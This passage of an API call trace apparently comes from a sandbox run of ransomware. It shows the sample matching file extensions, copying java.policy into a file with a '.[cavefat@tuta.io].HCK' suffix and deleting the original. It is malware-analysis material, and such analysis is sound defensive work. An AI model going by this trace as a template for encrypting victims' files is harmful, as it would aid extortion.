Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString=".doc") returned 4 [0228.905] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".docx") returned 5 [0228.905] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0228.905] lstrlenW (lpString=".pdf") returned 4 [0228.905] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".xls") returned 4 [0228.905] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".xlsx") returned 5 [0228.905] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0228.905] lstrlenW (lpString=".ppt") returned 4 [0228.905] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString=".zip") returned 4 [0228.905] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".rar") returned 4 [0228.905] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".bz2") returned 4 [0228.905] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".7z") returned 3 [0228.905] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0228.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString=".dbf") returned 4 [0228.905] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString=".1cd") returned 4 [0228.905] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString=".jpg") returned 4 [0228.905] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.905] lstrlenW (lpString=".doc") returned 4 [0228.905] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".docx") returned 5 [0228.905] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0228.905] lstrlenW (lpString=".pdf") returned 4 [0228.905] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0228.905] lstrlenW (lpString=".xls") returned 4 [0228.905] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0228.906] lstrlenW (lpString=".xlsx") returned 5 [0228.906] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0228.906] lstrlenW (lpString=".ppt") returned 4 [0228.906] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0228.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.906] lstrlenW (lpString=".zip") returned 4 [0228.906] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0228.906] lstrlenW (lpString=".rar") returned 4 [0228.906] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0228.906] lstrlenW (lpString=".bz2") returned 4 [0228.906] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0228.906] lstrlenW (lpString=".7z") returned 3 [0228.906] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0228.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.906] lstrlenW (lpString=".dbf") returned 4 [0228.906] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0228.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.906] lstrlenW (lpString=".1cd") returned 4 [0228.906] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0228.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0228.906] lstrlenW (lpString=".jpg") returned 4 [0228.906] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0228.906] lstrcmpiW (lpString1=".policy", lpString2=".HCK") returned 1 [0228.906] lstrlenW (lpString="java.policy") returned 11 [0228.906] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.907] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2466) returned 1 [0228.907] CloseHandle (hObject=0x4bc) returned 1 [0228.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0228.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.907] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0228.908] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.908] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.908] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0228.909] GetLastError () returned 0x0 [0228.909] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0229.252] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0229.280] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.280] WriteFile (in: hFile=0x4c4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xea, lpOverlapped=0x0) returned 1 [0229.280] SetEndOfFile (hFile=0x4c4) returned 1 [0229.280] CloseHandle (hObject=0x4c4) returned 1 [0229.280] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.280] SetEndOfFile (hFile=0x4bc) returned 1 [0229.282] CloseHandle (hObject=0x4bc) returned 1 [0229.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.282] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.283] lstrlenW (lpString=".doc") returned 4 [0229.283] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString=".docx") returned 5 [0229.283] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0229.283] lstrlenW (lpString=".pdf") returned 4 [0229.283] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString=".xls") returned 4 [0229.283] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString=".xlsx") returned 5 [0229.283] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0229.283] lstrlenW (lpString=".ppt") returned 4 [0229.283] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.283] lstrlenW (lpString=".zip") returned 4 [0229.283] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString=".rar") returned 4 [0229.283] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString=".bz2") returned 4 [0229.283] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString=".7z") returned 3 [0229.283] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.283] lstrlenW (lpString=".dbf") returned 4 [0229.283] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.283] lstrlenW (lpString=".1cd") returned 4 [0229.283] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0229.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.283] lstrlenW (lpString=".jpg") returned 4 [0229.283] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.284] lstrlenW (lpString=".doc") returned 4 [0229.284] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString=".docx") returned 5 [0229.284] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0229.284] lstrlenW (lpString=".pdf") returned 4 [0229.284] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString=".xls") returned 4 [0229.284] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString=".xlsx") returned 5 [0229.284] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0229.284] lstrlenW (lpString=".ppt") returned 4 [0229.284] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.284] lstrlenW (lpString=".zip") returned 4 [0229.284] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString=".rar") returned 4 [0229.284] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString=".bz2") returned 4 [0229.284] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString=".7z") returned 3 [0229.284] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0229.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.284] lstrlenW (lpString=".dbf") returned 4 [0229.284] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.284] lstrlenW (lpString=".1cd") returned 4 [0229.284] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0229.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0229.284] lstrlenW (lpString=".jpg") returned 4 [0229.284] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0229.284] lstrcmpiW (lpString1=".EXE", lpString2=".HCK") returned -1 [0229.284] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0229.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.287] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=27200) returned 1 [0229.287] CloseHandle (hObject=0x4bc) returned 1 [0229.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0229.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.287] lstrlenW (lpString=".doc") returned 4 [0229.287] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0229.287] lstrlenW (lpString=".docx") returned 5 [0229.287] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0229.287] lstrlenW (lpString=".pdf") returned 4 [0229.287] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0229.287] lstrlenW (lpString=".xls") returned 4 [0229.287] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0229.287] lstrlenW (lpString=".xlsx") returned 5 [0229.287] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0229.287] lstrlenW (lpString=".ppt") returned 4 [0229.287] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0229.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.287] lstrlenW (lpString=".zip") returned 4 [0229.287] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0229.287] lstrlenW (lpString=".rar") returned 4 [0229.287] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0229.287] lstrlenW (lpString=".bz2") returned 4 [0229.288] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0229.288] lstrlenW (lpString=".7z") returned 3 [0229.288] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".dbf") returned 4 [0229.288] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".1cd") returned 4 [0229.288] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".jpg") returned 4 [0229.288] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".doc") returned 4 [0229.288] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0229.288] lstrlenW (lpString=".docx") returned 5 [0229.288] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0229.288] lstrlenW (lpString=".pdf") returned 4 [0229.288] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0229.288] lstrlenW (lpString=".xls") returned 4 [0229.288] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0229.288] lstrlenW (lpString=".xlsx") returned 5 [0229.288] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0229.288] lstrlenW (lpString=".ppt") returned 4 [0229.288] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".zip") returned 4 [0229.288] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0229.288] lstrlenW (lpString=".rar") returned 4 [0229.288] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0229.288] lstrlenW (lpString=".bz2") returned 4 [0229.288] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0229.288] lstrlenW (lpString=".7z") returned 3 [0229.288] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".dbf") returned 4 [0229.288] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".1cd") returned 4 [0229.288] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0229.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0229.288] lstrlenW (lpString=".jpg") returned 4 [0229.289] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0229.289] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.289] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0229.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.292] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=18624) returned 1 [0229.292] CloseHandle (hObject=0x4bc) returned 1 [0229.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0229.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.292] lstrlenW (lpString=".doc") returned 4 [0229.292] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.292] lstrlenW (lpString=".docx") returned 5 [0229.292] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0229.292] lstrlenW (lpString=".pdf") returned 4 [0229.292] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.292] lstrlenW (lpString=".xls") returned 4 [0229.292] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.292] lstrlenW (lpString=".xlsx") returned 5 [0229.292] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0229.292] lstrlenW (lpString=".ppt") returned 4 [0229.292] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.292] lstrlenW (lpString=".zip") returned 4 [0229.292] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString=".rar") returned 4 [0229.293] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString=".bz2") returned 4 [0229.293] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.293] lstrlenW (lpString=".7z") returned 3 [0229.293] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".dbf") returned 4 [0229.293] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".1cd") returned 4 [0229.293] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".jpg") returned 4 [0229.293] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".doc") returned 4 [0229.293] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString=".docx") returned 5 [0229.293] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0229.293] lstrlenW (lpString=".pdf") returned 4 [0229.293] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString=".xls") returned 4 [0229.293] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString=".xlsx") returned 5 [0229.293] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0229.293] lstrlenW (lpString=".ppt") returned 4 [0229.293] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".zip") returned 4 [0229.293] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString=".rar") returned 4 [0229.293] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0229.293] lstrlenW (lpString=".bz2") returned 4 [0229.293] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0229.293] lstrlenW (lpString=".7z") returned 3 [0229.293] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".dbf") returned 4 [0229.293] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".1cd") returned 4 [0229.293] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0229.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0229.293] lstrlenW (lpString=".jpg") returned 4 [0229.293] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0229.294] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0229.294] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0229.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0229.295] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=18624) returned 1 [0229.295] CloseHandle (hObject=0x4bc) returned 1 [0229.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0229.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0229.295] lstrlenW (lpString=".doc") returned 4 [0229.295] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0229.295] lstrlenW (lpString=".docx") returned 5 [0229.295] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0229.295] lstrlenW (lpString=".pdf") returned 4 [0229.295] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0229.295] lstrlenW (lpString=".xls") returned 4 [0229.295] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0229.295] lstrlenW (lpString=".xlsx") returned 5 [0229.295] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0229.295] lstrlenW (lpString=".ppt") returned 4 [0229.295] lstrcmpiW (lpString1=".ppt", 